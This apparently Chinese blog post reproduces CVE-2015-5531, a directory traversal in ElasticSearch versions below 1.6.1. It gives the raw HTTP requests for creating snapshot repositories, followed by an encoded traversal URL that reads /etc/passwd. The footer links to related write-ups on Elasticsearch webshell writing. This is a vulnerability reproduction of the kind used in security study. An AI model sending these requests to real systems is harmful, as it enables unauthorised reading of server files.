ElasticSearch 目录穿越漏洞


ElasticSearch 目录穿越漏洞(CVE-2015-5531)

jre版本:openjdk:8-jre
elasticsearch版本:v1.6.0
影响版本:1.6.1以下

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

漏洞复现

新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

创建一个快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

目录穿越读取任意文件

访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

解码,得到:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Elasticsearch写入webshell漏洞 Elasticsearch写入webshell漏洞
Elasticsearch写入webshell漏洞(WooYun-2015-110216)原理ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。 所以,如果同文件系统下还跑着
2019-06-08 Geekby
下一篇 
ElasticSearch 目录穿越漏洞 ElasticSearch 目录穿越漏洞
ElasticSearch 目录穿越漏洞(CVE-2015-3337)jre版本:openjdk:8-jreelasticsearch版本:v1.4.4影响版本:1.4.5以下/1.5.2以下 原理在安装了具有“site”功能的插件以后,插
2019-06-08 Geekby
  目录